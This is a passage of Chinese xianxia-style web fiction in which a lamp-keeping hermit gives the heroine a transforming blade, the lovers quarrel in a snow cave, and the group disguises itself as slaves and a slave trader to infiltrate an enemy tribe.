这白头山全是白雪覆盖乱石杂草,要想砍柴,必须要下山去林子里砍。
砍完还要用绳子捆着柴火拖上山。
云琛和霍乾念几人年轻力壮,尚且爬得疲累不堪。
若还要穿着单衣日日来回,实在难以想象那艰苦,绝不是一般意志可以做到的。
再去悄悄打量老者,单薄破旧的衣裳,经年不梳洗的蓬乱的头发,还有石室里简陋的草榻和薄被......
与其说是守灯,不如说是受刑。
不知其他人怎么想,霍乾念看着老者,脑子里突然蹦出一个可怕的想法:
若云琛**,他便这么活着吧。
死太容易了。只有日日找罪受、找苦吃,才抵得住失去挚爱的痛苦。
去造一座无期徒刑的牢笼,惩罚那个没有守护好挚爱的自己。
霍乾念不知为何会生出这样可怕又荒诞的念头,他只觉得好像有什么黑暗的东西正朝自己铺天盖地压来。
一种无形的恐惧压得他喘不过气,他迫切地想要不顾周围任何人在场,紧紧将云琛拥进怀中,去确定她是好好存在的。
他从来没有这么强烈的会失去云琛的感觉,不论从前多危险,他都从未这样恐慌过。
“琛儿......”他强忍着没有动作,语调怪异地叫了一声。
云琛那二傻子并未察觉出他声音里的异样,正忙着研究一个石室里的铸剑炉。
其他人虽觉得这一声叫得好像过于缱绻暧昧,甚至还带着点可怜撒娇的意思,但早已见怪不怪,便也没有多注意。
只有那老者眼眸微动,轻轻看了霍乾念一眼。
这一眼黯然,遗憾,又带着点讥讽,像是看着年轻时的自己。
霍乾念揉揉紧皱的眉头,想要刨掉这莫名的悲观情绪。
他想,大概是被老者惊人的苦难所感染吧,再加上四周无边无际的雪山,像是要用孤独将人永远困住似的,所以他才会生出那么不吉利的念头。
霍乾念啊霍乾念,坚定些,别胡思乱想,你怎会失去琛儿?只要成功,就不会失去她。
这厢,霍乾念还在胡思乱想。
那边,不言在知道这里有个铸剑炉之后,认定老者一定是武功绝世的隐世高手,不停地哀求老者为云琛重铸饮血剑。
“前辈,您一定是高手!能造出这世上绝无仅有的宝剑!削铁如泥吹发可断的那种!铸剑之日风云涌动!拔剑出鞘时天雷勾地火!惊动四方!话本上都是这么写的唔……”
叶峮感觉脸都快被丢尽了,一把捂住不言的嘴将人拖走,歉意地朝老者笑笑,食指对着自己太阳穴比画了个圈,意思是:
前辈莫怪,这货脑子有点问题。
那老者刚添完柴火,累得靠坐在一边,看戏似的看着不言:
“挺好,竟有人不辞辛苦地专门上山来给我唱戏。”
说罢,老者似笑非笑,朝云琛招招手,“江鸣的饮血剑断了?我瞧瞧。”
云琛将剑双手捧上,老者拿过去看了几眼,手腕转动试了试分量。
只是简简单单一个动作,五人立马看出不凡:
这老者明显是练家子。
“只剩半截了,若要重铸,必须用同样的材质。”老者将剑还给云琛,都没再仔细看看,便准确说出:
“玄铁为主,金铜为辅,再加上硫石、铅矿,金刚石粉压作锋,便可以重铸。”
“玄铁”二字让五人瞬间失望。
传说玄铁来自天降,只在高原秘境之地罕有。这么多年只听说过,从来没人见过。
叶峮不肯灰心,“能不能拿普通铁试试?或者青铜?万一能行呢?”
老者道:“可以啊,但铸出来之后,若再遇见砍断此剑的兵器,还会再断。不出意料的话,对方应是更重更宽的**一类,亦为玄铁打造,只不过熔铸得仓促,时间太短,否则饮血剑会整个碎裂,而不是被劈成半截。”
“特娘的!焦左泰那畜生哪来那么好的刀!”不言骂了一句。
叶峮反复思量后,下定决心道:
“要不这样,我去偷焦左泰的刀,拿来给阿琛重新铸剑!”
“我不要!”云琛果断拒绝。
她绝对不会为了自己的剑,让叶峮或者任何人去冒险。
她故意装出不在乎的样子,努力不去想江鸣,“一把剑而已,没了就没了!有啥的!我再找把好剑
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就是!”
话未说完,眼眶已湿,云琛快速将头偏过去,不叫众人看见,却没能逃过那老者的眼睛。
似是挺喜欢云琛,又或者从云琛身上看到了星点故人之姿,老者面上一软,对云琛道:
“进门的时候你应该瞧见了,石台上有一把兵器,恰与饮血剑出自同门,都是江湖当年赫赫有名的鬼冥一派所制,用材一样,甚至更为锋利坚固。只是刀柄有些破损。你若拿得动,便拿去用吧。”
老者很大方,这么罕见的玄铁兵器,说借就借。
且不说云琛使的是剑,那台上却是把一人宽的弧形大刀。
再说云琛跳上石台去拿,第一下竟纹丝不动。
她有点奇怪,以为自己出现幻觉,再重也是刀啊,又不是长在地上的。
在众人的注视下,她扎开马步,运气凝神,贴掌握住刀柄,使出全部力气用力一抬——
大刀非常给面子地颤了一下,接着又一动不动了。
众人哗然。
不言喊了嗓子“我来!”一跃跳上石台,对云琛道:
“阿琛,咱俩一起!我数一二三,一块抬!一!二——”
随着“三”字落下,两人齐齐使力。
不言脸都挣红了,大刀依旧岿然不动。
云琛一屁股跌坐在地上,气喘吁吁叹道:
“这玩意是和山长在一起的吧?谁能挥动这家伙**对战啊?”
不言做了个“别忙,哥想一想”的手势,猜测道:
“会不会是心有杂念者无法持刀,必须得至纯至善心灵纯净之人才能拿得动?我看话本里一般——”
话没说完,人已飞出去两丈。
叶峮将不言踹下去后,不信邪地也去试了试,这次刀连颤都没颤一下。
霍乾念总觉得不可能有东西这么重,应该是有机关之类的,走近刀身细细去看,试图找到突破点。
五人齐齐围着刀研究来,研究去。
老者似是等乏了,伸了个大大的懒腰,幽幽道:
“你们且慢慢试,老朽先歇了。你们若在此过夜,石屋里有草榻,吃食有馒头和雪水,自便吧。”
说罢,老者慢悠悠迈着步子而去,留下五人还在原地抓耳挠腮。
第340章 月主天地时
不知过了多久。
老者一觉睡醒,只见所有人都已歪七扭八地躺倒在草榻上睡去。
唯剩云琛还坐在大刀旁,皱着小眉头抱着胳膊,一副不达目的不罢休的样子。
其实大家都知道,她急需一把新兵器。
只是这刀沉重非人,且并不是她擅使的剑,故而心里都不抱太大期望,慢慢都放弃了。
霍乾念陪她撑到最后,后半夜时,说话间也睡着了。
最后只剩云琛一个人对着刀发呆,不知在想些什么。
“你这劲儿倒挺像江鸣的。”老者开口,惊醒了云琛的思绪。
她从石台上跳下来,“前辈,您这么早就醒了?离天亮还早着呢!”
“人老了,觉少。”老者笑笑,“可想出拿刀的法子了?”
云琛不好意思地挠挠头,“还没有。只怕要辜负前辈的好意。我实在无法想象有人能拿着这样一把兵器作战,得要多高深莫测的武功才可以驾驭呀!”
似是被云琛的话语勾起了回忆,老者靠近石台两步,仰头望着大刀。
想起持刀之人当年的英姿飒爽,老者忍不住眉眼俱弯,温暖得像镀了暖光。
因为回忆太入神的缘故,老者不觉站得离一个火盆太近,压根没发现一缕头发已经掉进火盆烧起来。
还是云琛先发现,轻轻惊呼一声,扑过去用半截饮血剑割断了燃烧的头发,才叫老者免于火烧。
“不妨事,若真烧起来,我跳进雪里就是,这里多的就是雪。”老者说。
云琛心有余悸地看着火盆。
虽然门外有雪可以扑火,但照刚才的情形,只怕还没出门,老者所有头发就都烧起来了,连带身上也得受伤。
打量老者野人般乱糟糟的头发,蓬得像风滚草,长得快拖地,像头上披着一条花白毯子似的,云琛道:
“前辈,要不我帮您梳头发吧,也许会方便很多?”
“好。”老者没有拒绝,在火炉旁坐下。
云琛从一间落灰的石室里翻出梳子、脸盆和铜镜。
倒没有什么别的心思,纯粹是有点看不下去,有点心疼,云琛打湿毛巾,一点点捂湿老者的头发。
但云琛还是大意了。
捂湿之后便是梳发。看着这头一看就十几年没梳开过的“乱草”,云琛简直无从下手。
她挑出相对比较顺溜的一缕,解毛线团似的梳起来。
老者笑道:“小妮子,我这头发可不好梳哇,要辛苦你了。”
“不妨事。”云琛从老者头发里翻出两只干瘪的、已经完全风干的灯蛾……
灯蛾大概被困在里面好几年了,轻轻一碰就碎了。
她无措道:“前辈,你头发里有一窝蛾子,是你养的宠物吗......”
“哈哈......”老者被云琛逗笑了,“应该不是。苦了这些蛾子,跟着我每天风雪里来回,受了许多罪呀!”
云琛将蛾子碎片扔进火炉里,双手合十默哀道:
“去吧,死蛾扑火,好歹也是归宿。”
老者听了哈哈大笑起来:
“我真想象不出,江鸣那个寡言少语的性子,成天和你在一起,会是个什么样儿,哈哈哈哈......”
云琛想起和师父在一起的时光,不禁弯起嘴角。
轻轻叹息一声,老者忍不住有些感叹:
“世事无常难预料,大概江鸣自己也想不到,会有你这么个好徒弟吧。”
不等云琛说话,老者接着又道:“你性子倔,这点更随你爹。”
云琛惊讶:“前辈还认识我爹?”
“岂止认识。你爹从前饲过我的马,是一匹西域进贡来的烈马,怎么都驯不了。你爹性子倔,就住在马棚里和马同吃同住,熬了半个月,给马整服帖了。”
云琛失笑,听起来的确像云中君能做出来的事情。
转而抓到老者话语里的细节,她开始有些好奇,不知眼前这老者是什么身份,云中君为他饲过马?
可云中君从前是前朝北里十八军、直属于八皇子的司马官,难不成老者是前朝皇族?
似是窥探到一点老者的身份秘密,但云琛并不想冒昧开口。
北里十八军怎样,皇权睥睨又如何,如今已是白头山的孤独守灯人。
过去都已过去,何苦拿出来扰人。
猜到云琛的心思,老者又叹息一声,“你是个好孩子。”
而后他看向石台上的大刀,再次陷入回忆。
他问
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云琛:“‘何时山变海,地生雨,雪成金,沙漠瀚林似银河?’你若答得出这个问题,我便告诉你如何取刀。”
云琛愣了一下,有些犹豫。
在两人都没注意到的殿角落里,一直睡在草榻上的不言悄悄睁开一条眼睛缝,将耳朵竖了起来。
云琛犹豫片刻,低声道:
“月主天地时。”
五个字落下,老者猛地回头,惊讶地看向云琛,似乎根本没想过有人能答出这个问题。
他急走两步到石碑旁。
大半个石碑上的雪已被拂去,问题已显露出来。
但紧挨问题下面就是答案,还盖在雪里,一点没有被动过的样子。这是白天时叶峮的杰作。
老者轻轻拨开石碑最下方的雪,“月主天地时”五个小字出现在眼前。
他望着那五个字,静静地看了许久,而后走回殿中,直视着云琛:
“答得好,一字不差。”
云琛没有什么特别的欣喜反应。
倒是草榻上正偷听的不言兴奋地咬了咬牙,脑海里对着空气来了通“手舞足蹈拳”,心说“我就说吧!得答题才行!话本诚不欺我也!”而后心满意足地睡过去。
老者走向石台,细细抚摸刀身,一直摸到刀柄与刀身的衔接处。
像是变戏法一样,只听一声轻轻的暗扣声响起,刀身突然显露出无数细纹,在一阵快速又锋利的刀片摩擦声中,大刀骤然紧缩回收,竟瞬间折叠成一把长剑的模样。
这变化叫云琛看得目瞪口呆。
还真被霍乾念说对了,这刀有机关!竟能折叠成一把剑!
老者对云琛道:“再试试能不能拿得动。用你的‘炁’去拿,不要只用蛮力。剑是有剑魂的,今后你只要拿着这把剑,就告诉自己,‘炁可御魂,剑气随身’。”
云琛几乎已能确定,眼前老者当年定是武功高手!否则怎么能在她没有暴露任何招式的情况下,一眼就看出她修**“炁”。
她再次跳上石台,重新握住刀柄——不,是剑柄。
心中默念着老者教的话,她握紧剑柄,用力抬起。
完全没预料到剑突然变得这么轻,她猛一用力,剑身飞起,差点摔个狗吃屎。
第341章 意外之喜
云琛惊讶打量手里的剑——
玄铁乌金,金刚石锋,比一般剑重许多,但已不是方才刀形时拿不动的样子。
剑身漆黑泛着猩红,只轻轻扬剑,便有破空嗡鸣之声,震感从手中直传入心口,惊得她几乎握不住。
如老者所说,剑有剑魂。
云琛觉得这剑很像一位深沉、诡秘又高深莫测的威严长者,仅仅是立在那里,就有种令她想跪拜俯首的压迫感。
老者拍拍她的肩膀以示鼓励,“这刀名为‘承郢’,触碰机关可化作‘剑’。确实太煞了些,你用起来吃力,但总好过没有兵器。”(郢,同影)
云琛点点头,心里生出一定要好好用剑,好好习武,万不可辜负这剑的念头,但转而又将剑放回石台,羞赧地对老者道:
“前辈,谢谢您的好意,但......算了吧,我不能要这剑。”
老者眼中闪过一些惊讶,颇有兴趣地看着云琛。
见她眼睛仿佛胶一般粘在宝剑上,却非说自己不要,他觉得有点意思,示意云琛继续为他梳发。
头发越梳越顺,越来越服帖。云琛将老者所有头发收敛好,四处找不到簪子,便用半截筷子代替,束成一个整齐的老髻模样。
老者的面容终于清晰地显露出来,依稀能看出年轻时俊逸不羁的非凡容貌。
云琛再次淘洗毛巾,想为老者刮胡子,却发现老者的下巴光溜溜,连一点胡茬都没有。
老者笑得和善又带点狡猾,“说来听听,为什么又不要剑了。”
云琛低头想了想,而后单膝下跪,一双眼睛坦荡澄澈地望着老者,道:
“前辈恕罪,我耍了小聪明,欺骗了您。那石碑上的答案不是我自己想出来的,是师父告诉我的。”
老者挑挑又白又长的眉毛,叫云琛继续说。
云琛深吸一口气,打开那有些不忍触碰的过往。
“我是在香消崖跟师父学的武,这些年在外闯荡,我已知道,香消崖葬的神仙就是皇后娘娘,闺名‘阿沐’。”
最后两个字显然出乎老者的意料,更三十年没有听到过。
这令他先是震住,而后眼眶瞬间湿润,接着不受控制地流下眼泪。
他有点慌乱地去擦,一边流泪,一边有些不好意思地笑笑:
“瞧瞧我,都这么大年纪了,还哭呢。”
云琛心疼得不行,她见过东炎皇帝的跪地痛哭,见过楠国皇帝临死前的呐喊愧悔,更亲眼见证了江鸣以生命为代价的一生厮守。
从踏进这座灯庙开始,她便刻意回避关于老者的身份往事。
因为直觉告诉她,眼前这老者,其哀恸之心,只怕要比前人更甚。
那是不敢轻易打开的尘封往事,只轻轻一碰,便叫人痛不欲生。
哭了好一阵,老者颤抖着手擦去眼泪。方才还像个智慧、淡定又带点顽皮的老学究,这会已全是辛酸老态。
他哽咽感叹:“小妮子莫怪,我太久没有听到那个名字了。”
云琛不忍蹙眉,她重新跪下道:
“我虽不知几十年前的事,但师父对我说过,在楠国突发一场大地崩前,有一条枯河贯穿南北,南起苍海香消崖,北至白头山,名为‘幽冥道’。
传说,幽冥道是人间通往地府的路。人死即入幽冥道。从香消崖到白头山,灵魂走完这路,也就真的走完了一生。
师父说,皇后娘娘怕黑,临终前最怕的就是去地府的路又长又黑。因此,娘娘的……挚爱,便对娘娘许诺,告诉她‘别怕,我会一直为你掌着灯,让光照着你走’。”
话音落下,老者已泣不成声。
霍乾念不知何时已醒过来,正红着眼睛,出神地望着云琛。
叶峮、不言、霍阾玉,也全都醒了过来,静**在草榻上,含泪听着这个凄婉断肠的爱情故事。
云琛朝老者叩首,抬起头时也已泪落两行。
她惭愧地对老者道:
“我开始并未想起这些,可刚才拿剑时,我在石台角落瞧见‘幽冥’二字,这才想起师父曾说过,‘幽冥道啊幽冥道,若由月主天地,她走的就不该是幽冥道,而是令这世界辉煌变色的成仙大道。’
我大约能懂一些皇后娘娘当年女扮男装做太子的艰难,男为日,女为月,我深刻地记得这话。前辈,石碑上的问题不是我自己答出来的,晚辈受剑有愧。”
老者无法回应云琛的话,他用满是老茧和皱纹的双手捂着脸,像个孩子似的失声痛哭。
时间带走青春,岁月将一头青丝染成霜白。
三十年掌灯岁月,老去的只是一具身体,心却从未改变。
那潇洒肆意的儿郎,永远困在了失去挚爱的那一天。
这副苍老的身体里,其实还是那颗年轻又炙热的心。
众人静静地听着老者悲伤的哭泣声,皆被感染得心里难受。
许久之后,待老者情绪平复,他望
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着云琛轻声而笑,说了句:
“江鸣真有福气。”
这一句足抵千言万语,什么都不必多说,云琛深深叩首回应。
老者上前拍拍她的肩,而后一把抽出她身上断裂的饮血剑,两指弹了弹断裂的剑身。
“既然小妮子如此诚意,那老头子我也不能小气。”
说罢,老者轻撩衣袍,飞身跃上石台,动作之轻盈令人惊叹。
他瞅准承郢的手柄与身子连接处,将饮血剑断裂的剑刃狠狠**去。
只听“咚”的一声巨响,众人的耳膜像被重锤击穿了似的。
老者竟直接将那承郢的手柄剁了下来,毫不在意地扔进炉子里,然后“咔嚓”一声,像掰苹果一样,轻而易举地就将饮血剑的剑刃掰掉。
他将饮血剑的剑柄与承郢的身子对接在一起,比画了一下,满意地点点头,对云琛笑道:
“三十日后来取剑。这剑送给你。”
……
……
本来只是为了托付霍阾玉,才爬到这“浴神行殿”。
谁曾想,竟意外寻得一把上好的神兵利器。
更出乎所有人意料的是,霍阾玉竟主动要求留下来。
说是要帮老者一起看着铸剑炉,直到剑铸好为止。
这正合霍乾念和云琛的意。
霍乾念打算待三十日后,新剑铸成,便将霍阾玉托付给最安全可靠的人,将她带去远离战场的地方。
在老者和霍阾玉的目送下,天微微亮时,霍乾念与云琛牵着手,叶峮牵着风筝片,啊呸,牵着不言的后衣领子,朝狮威军的方向追去。
走出去很远,云琛忍不住回头望去。
她看见白头山伫立在洁净幽蓝的天空下,美得宛若仙境。
半山腰处,灯火灿烂不歇,仿佛漫漫黑夜里的一盏明灯,照着幽冥道上匆匆行路的灵魂。
忽然,一阵风来。
白头山脚下的森林发出窸窸窣窣的声音,林海起起伏伏,朝一个方向波动而去,像是有巨人正在朝这里走来,惹得万木窃窃私语,发出惊讶的叹息。
如幻境一般,云琛仿佛看见那白衣飘飘如仙,一位美得雌雄莫辨的绝世英神,正大步流星地走在幽冥道上。
前路茫茫,黑暗无边,但白头山的灯火洒满周身,金黄的光芒沐浴着英神,将前路照得明亮。
“琛儿,这老前辈是谁?”
“不知道,大约……他才是皇后娘娘真正的爱人吧。”
第342章 永远在一起
翻过白头山,广袤的洛疆雪原出现在眼前。
霍乾念、云琛与叶峮、不言,四人脚程飞快,绕开狮威军行进的路线,择小路向洛疆前进。
大战在即,比开战更要紧的是寻回南璃君。
如今,四十万北伐军全军覆没的消息已传遍天下。
所有眼睛都等着看南璃君现身,执掌大局,安定民心。
倘若找不到南璃君,只怕外敌未除,楠国就要从内里先乱起来了。
四人推测南璃君大概率被困在王庭。
那么找到王庭所在,就是眼前第一要务。
据说洛疆王庭几十年前曾遭遇过屠城,差点灭国,自此以后便迁都隐藏,就连大部分洛疆人都不知道其地址所在。
要想知道王庭地址,先得混进洛疆部落。
只是如今两国开战,楠国和洛疆之间的互市贸易全停了,在洛疆的霍帮堂口也都已撤回。
洛疆境内很难见到楠国面孔。
再加上楠国**多肤白体瘦,洛疆**多高壮如熊,一眼就能区分开,很难乔装进入。
四人用纱巾蒙住眼,防止雪盲。一边飞快行路,一边琢磨着潜入的法子。
几番商议之下,四人觉得有个法子最为妥当。
叶峮道:“北伐军与洛疆交战后,大军全军覆没,不代表四十万人全死得干干净净。必然部分被俘虏,还会有不少人在对战中走失,被迫散落在外。照洛疆人的习惯,定会重金悬赏咱们这些将士。”
不言点点头,“抓到楠国将士,一般都会被拉去做最累最脏的苦力活,长得丑的给人牵牛放马当奴隶,长得好的送去富裕人家当仆人。
咱们只需一人假装奴隶贩子,另外三人扮做逃亡的北伐军将士。就凭咱玉树临风的模样,大概会被送去大户人家里,探听王庭消息的可能性更大些。”
“那谁扮奴隶贩子呢?”云琛适时提问。
叶峮和不言齐齐看向霍乾念,下意识觉得他扮个冷酷无情的奴隶贩子最合适。
但霍乾念却没有反应,好似神游一般,罕见的有些注意力不集中,不知在想些什么。
他很快调整好思绪,考虑洛疆人若抓到楠国俘虏,只怕第一件事就是扒衣验身,这对云琛来说太不安全。
“琛儿女扮男装,扮做奴隶贩子吧。”
既分工明确,见天色已晚,四人决定再在野外休整一夜,养足精神和体力,第二天开始行动。
雪原荒芜,好在一路过来已有经验。叶峮和不言找到一处背风坡,很快挖出个可以容纳四人的大雪洞,虽有些拥挤,但足够过夜。
不言将从白头山灯庙顺来的草榻铺开,几人围着小炉子吃了些干粮,而后叶峮靠着不言睡在一边,霍乾念拥着云琛睡在另一边。
雪洞外,寒风呼呼地刮着,洞里四面不透风,入口也很小,倒挺暖和。
小炉子火苗微弱,并不影响雪洞的结实,但还是烘得洞顶滴滴答答,落着雪水。气氛极适合睡觉。
叶峮和不言很快响起鼾声。
这么多年风餐露宿,云琛早已习惯和兄弟们将士们混靠在一起过夜,也很快睡着。
只有霍乾念睁着眼睛望着洞顶,翻来覆去,怎么都睡不着。
“琛儿,你睡着了吗?”他轻声呼唤。
见云琛不应,他便轻轻去推她,“琛儿,睡着了没?”
推了两三次,云琛终于被推醒。
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>她迷迷糊糊回答:
“现在醒了。怎么了?”
他将头埋进她肩膀,声音闷闷道:“我睡不着,琛儿。”
“为啥?吃多了吗,出去走走,消消食再回来?”她完全地从生理角度提出建议。
他摇摇头,“我睡不着,一闭上眼睛就做噩梦。不敢睡。”
不知白头山的灯庙究竟有什么煞气,几人在那过夜时,人人都睡得寻常,只有霍乾念做了一夜噩梦。
梦里面,在这荒芜山峰上守灯的成了他。
冥冥之中,一个声音对他说:
“快点灯吧,云琛已经在朝这里来了。”
他环顾四周冰冷的、没有一点光线的正殿和石室,赶忙找打火石生火,却怎么努力都擦不出火星。
灯庙冷冰冰的,他站在山腰,看见云琛从远处飘飘而来。
她的神情悲伤又失望,眼神空洞地望着他:
“阿念,为什么没有灯?我走得好怕。”
他疯了一样地去捶火炉,砸火把,将打火石打得咣咣作响,可依旧无济于事。
云琛慢慢飘远,只剩他一个人在白头山绝望地嘶吼着:
“琛儿!琛儿——别离开我!!”
他从这样一个恐怖至极的噩梦中惊醒,抬头便看见云琛流着泪,像是在呼应那梦的结局。
明明云琛只是在同老者说话,倾听当年皇后娘娘的故事,可为何他不自觉红了眼眶,心里空落得发慌。
他不敢再回想,将云琛紧紧搂进怀里,微弱的火苗照出他锋芒英俊的眉眼。
他小声乞求:“琛儿,我们永远都在一起,好不好?一辈子不分开,不论生死,不论兴亡,生生世世在一起,好不好?”
第343章 “霍少女”的心事
“琛儿,琛儿……”
霍乾念的语气像要哭出来了似的,云琛这才回过味来,晓得他心情不好,却不知道原因。
从前在霍帮做护卫时,她就知道他是个满腹心思阴晴不定的性子。
如今虽然已很了解他,但还是隔三岔五就要猜个谜,研究一下“阿念今日为何又不开心”“阿念为啥又要我保证和他恩爱不分离”这些个永恒的谜题。
“好。”云琛习惯性干脆利索地回答,怕吵醒叶峮和不言,她也将声音放得极低:
“从白头山下来,你好像就不太开心,像是有心事的样子。叶峮同你说话,你都走神了。”
他轻笑一声,“难得啊,我的琛儿竟然发现我不高兴了,有长进。”
接着他语气一暗:
“琛儿,没别的,我只是......好怕我们会分开。”
她只当他说的是战场生死无常之事,担心两人会战死,安慰地拍拍他的肩膀,十分豁达道:
“倘若你先**,我便狠狠杀敌,为你报仇。等我同样死在敌人刀枪下,就可以去与你团聚。倘若我先**,你也替我报仇。”
“我希望我先死。”他说,“我接受不了没有你。琛儿,若同皇后娘娘的故事一样,我只怕做不到像老前辈一样守三十年灯庙,我会疯的。”
她认认真真想了想,“没事,我不怕黑,你不用守灯。”
他破功笑起,亲亲她的脸颊,却听她又说:
“阿念,若我**,其实我更希望你好好活下去,娶妻生子也好,做官从商也罢。你的光阴太珍贵了,那么多年坐轮椅,已叫你错过许多。我希望你找回那些,弥补自己。”
这是她发自内心所想,却令他表情一僵,猛地支起身子,质问:
“你觉得我是那样的人?若你没了,我还能与其他女人‘娶妻生子’?琛儿,你从来都不懂我的心。”
“不是不是!”她赶紧解释:“没了我,你还有霍帮,有阾玉,有老太爷。还有许多人和事需要你。我知道我**,你一定很痛苦,可总有一天会走出来的。”
这话越抹越黑,雪上加霜似的,叫他一下生气起来:
“琛儿,你知道我爱你,可你总不知道我究竟有多爱你!你总是说,若我**,你将如何随我而去。可换成若你**,你就觉得我可以没心没肺地活下去吗?你为何总这样看轻我的心?”
她觉得他这话着实有点胡搅蛮缠,“不是,你从前不也是这样劝我的,还让我以后‘嫁个好人家’?而且咱俩不一样......”
话未说完就被他生气地打断:
“怎么不一样?哪里不一样?你爱得多,我爱得少?我对你的心浅着呢?到底要怎样才能让你知道我!这么多生生死死过来,你却还是这样轻视我!”
“阿念!你这话过分了,我何时轻视过你?”她也生气了,坐起身子,试图和他理论。
两人从来恩爱和气,连争执都少有,这还是第一回吵架。
因为吵得太过专注的缘故,两人不自觉声音有点大,没注意到叶峮和不言的鼾声早就停了。
叶峮和不言靠在一起,强闭着眼睛装睡,听了半天都没整明白这俩人在吵啥。
不言在心里莫名其妙:他俩吵吵啥呢?在争谁先死?这种事也要抢?现在人谈恋爱都这么拼吗?幼不幼稚?我怎么有点听不明白。
叶峮此刻只恨自己将雪洞挖得太小,应该挖个三室两厅才对,心里重重叹息:
不知道咱们的“霍少女”又受什么刺激了......
听着霍乾念和云琛的争吵声越来越大,叶峮醒也不是,不醒也不是,只能假借梦中翻身,更加往不言的方向靠去,试图离那对神经质的小夫妻远一些。
不言被叶峮挤得贴到雪洞墙壁上,下意识惊叫起来:
“凉、凉、凉!这墙壁太冷
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,叶哥你别挤我!”
这声音一出来,整个雪洞瞬间安静了。
叶峮想掐死不言的心都有,只能装作刚睡醒的样子,揉揉眼睛,用疑惑的语气问:
“咋了?什么事?少主,阿琛,你们怎么这么早起来了?天还没亮呢,再睡会儿呗!”
既然叶峮和不言都醒了,霍乾念和云琛不好再吵。
两个人抱着胳膊,都把头扭在一边生气,不去看对方。
云琛心里烦,她不喜欢吵架,也不会吵,而且她嘴笨,说不过霍乾念,只能气鼓鼓地起身,弯腰钻出雪洞,打算躲个清净。
看着云琛走得头也不回的样子,霍乾念心里更委屈,更有气,直接一头倒在草榻上,竟没有要去追的意思。
叶峮和不言面面相觑,挤眉弄眼地沟通:
“你在这看着‘霍少女’,我去追阿琛?”
“我不,我不懂‘少女的心事’,还是我去追阿琛吧!”
没等两人商量好分工,霍乾念忽而看到一旁云琛脱下来的铠甲。
她睡觉时不喜欢穿太多衣服,总是喜欢将厚重坚硬的铠甲脱下来盖着。
这会她出去,身上应该只有一件薄棉衣,十分单薄。
想到这里,霍乾念立马什么火气都没有了,抓起云琛的铠甲就冲了出去。
叶峮和不言互相对视一眼,立马倒头就睡,不想再理会。
雪洞内重回安静。
过了一会儿,不言率先开口,学着霍乾念幽怨的语气,却将声音放得娇滴滴:
“琛儿,我错了,我再也不恼你了,你别生气。琛儿,让我抱抱你。”
叶峮“扑哧”一声笑出来,骂道:“小心少主听见,割你的舌头!”接着又忍不住开口,明显是在学云琛傻愣的语气:
“你到底怎么了?我真的不懂。我好困,要不先睡觉,睡醒了再吵,行不?”
“哈哈哈哈哈哈——”两人忍不住放声大笑。
第344章 不良犬
不知霍乾念和云琛抽的哪门子风,半个时辰之后,人倒是回来了,就是谁也不和谁说话,竟然开始冷战。
好在都是公私分明的人,并不耽误差事。
在风雪荒地休息了一夜,四人准备好一干事宜,乔装摸进最近的一个洛疆部落。
云琛已将头发重新束好,和洛疆人一样穿上臃肿保暖的羊皮大衣,带起一顶有些磨毛发黑的毡帽。
她眉毛描得粗黑,两个脸颊被寒风吹得皲裂发红,一脸不苟言笑。
她的身后,霍乾念、叶峮和不言三人仍旧穿着铠甲,只不过弄成头发乱蓬蓬,铠甲脏乱破损,一副刚从战场上逃下来的样子。
四人走进部落,云琛用假冒的身份文书混过部落的巡防查验。
和楠国人喜好依山傍水建城定居不同,洛疆是以神秘难寻的王庭为中心,由大大小小上百个部落联合而成。
除了王庭和几个大城拥有城池和宫殿,其他部落大多以帐篷和简易的土房为居所。
各部落以游牧为生,随季节在草原上迁移居住,只有像眼下这样的冬歇时,才会短暂地安定下来。
云琛四人要想找到王庭所在,打进各部落去探听消息,就必须先在其中一个部落混熟,取得洛疆人的信任。
四人进入这个看起来规模不小的部落,走进常用来贩卖奴隶的互犬所。
对洛疆人来说,奴隶就像用来牧马牧羊的犬,交易奴隶便是“互犬”。
云琛用绳子牵着霍乾念、叶峮和不言,四人一出现在互犬所门口,立马吸引了所有人的注意。
整个帐篷里,原本谈天说笑的洛疆人,全部瞬间安静下来,扭头看向云琛,目光惊讶、怀疑又充满戒备。
四十万楠国北伐军覆没,如今在洛疆,到处都有专门抓楠国逃亡将士、将其当做奴隶贩卖的奴隶贩子。
在这里,贩卖楠国“犬”不稀奇。
稀奇的是,卖楠国“犬”的竟然是楠国人,是楠国将士的同胞。
而云琛环顾这么多身材高壮、坐着比她站着还高的洛疆人,宛如误入熊窝一般。
云琛暗自稳住心神,目光寻到一处空桌,牵着霍乾念三人走去。
她在桌旁坐定,见一旁有兜售酒食的小贩,便招手要买些。
谁知她手还没放下,霍乾念三人就习惯性地落座在桌边其他位置。
云琛想了一下,一脚将离她最近的不言踹翻。
“谁特娘允许你坐?!”她努力用最凶狠的语气骂道,对着已经四仰八叉摔倒在地上的不言又补了几脚:
“狗东西,给老子趴地上!”
不言挨了几脚,身上不咋疼,心却揪着疼。
他还是第一次被云琛凶。
虽然知道她是装的,是在演戏给洛疆人看,但他还是觉得心里头拔凉拔凉,嗷嗷想哭。
不言委屈地蹲下,用手指在地上画圈圈。
旁边的叶峮见状,未等云琛踹过来,已麻溜儿地抱头蹲下,一副“胆小怕事我很乖”的模样。
现在只剩霍乾念还坐着,显然他也已经意识到太大意了,不该习惯性坐桌子的,便用眼神示意云琛也踹他。
接受到霍乾念的信号,云琛走到他面前站定。
她能感觉到周围的洛疆人都在观察自己。
可能是才吵过架的缘故,云琛这会看霍乾念,打心眼里有点冒火。
霍乾念浑然不知,还在暗暗用眼神鼓励她“踹吧,别心疼”,谁知云琛一个巴掌呼上来,直接将他打懵了。
云琛一巴掌打在霍乾念后脑勺,呵斥道:
“滚下去!”
霍乾念惊愣地看着云琛,还没反应过来,就又挨了一巴掌。
这一巴掌比前一巴掌更狠,打得他脑瓜子嗡嗡的,但还是注意到云琛的嘴角有快要压不住的偷笑。
两巴掌下去,霍乾念被打得“老老实实”,蹲在地上不吱声。旁边的叶峮和不言简直看呆了。
叶峮心里头直乐:看两口子打架真有意思。
不言则想的是:靠,打少主哎!看起来就很刺激!看起来就很爽!早知道我争取当奴隶贩子了!!
到这里,周围的洛疆人终于勉强收回戒备的目光。
帐篷里慢慢恢复热闹,洛疆人重新交谈饮酒,但还是时不时看向云琛,注意着她的动向。
然而云琛却觉得还不过瘾。
见旁边的奴隶都用铁链捆着,她却用的绳索,捆在这仨“大汉”身上,看起来就不牢固。
她便将仨人一一拽起,改用铁链捆。
不言细瘦,捆起来不费劲,她将人摁在板凳上,跟捆粽子一样,三下五除二就捆好。
叶峮更不用说,超级配合云琛的动作,就差自己动手了。
